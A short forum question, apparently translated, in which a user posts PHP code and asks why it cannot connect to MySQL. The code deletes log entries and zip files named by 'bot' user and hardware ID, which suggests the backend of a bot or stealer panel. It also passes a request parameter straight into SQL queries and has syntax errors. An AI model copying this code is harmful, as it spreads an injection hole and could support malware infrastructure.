The code is as follows:
$logID = checkParam($_GET["id"]);
$database = mysqli_connect($config["db_server"], $config["db_user"], $config["db_password"], $config["db_name"]);
if($database)
{
if($logID != null)
{
$log = $database->query("SELECT * FROM 'logs' WHERE 'id'='$logID';")->fetch_array();
if($log["id"] != null)
{
$fpath = "./server/". $config["logs_folder"]."/". $bot["user"]."".$bot["hwid"].".zip";
unlink($fpath);
$database->query("DELETE FROM 'logs' WHERE 'id'='$logID'");
}
header('Location: http://'. $_SERVER["HTTP_HOST"] .'/index');
}
}
else
{
echo "Can't connect to MySQL";
exit(0);
}
But when I do I get the following error:
Can not connect to MySQL
What should I do? I change everything to POO or because it does not connect me with mysqli?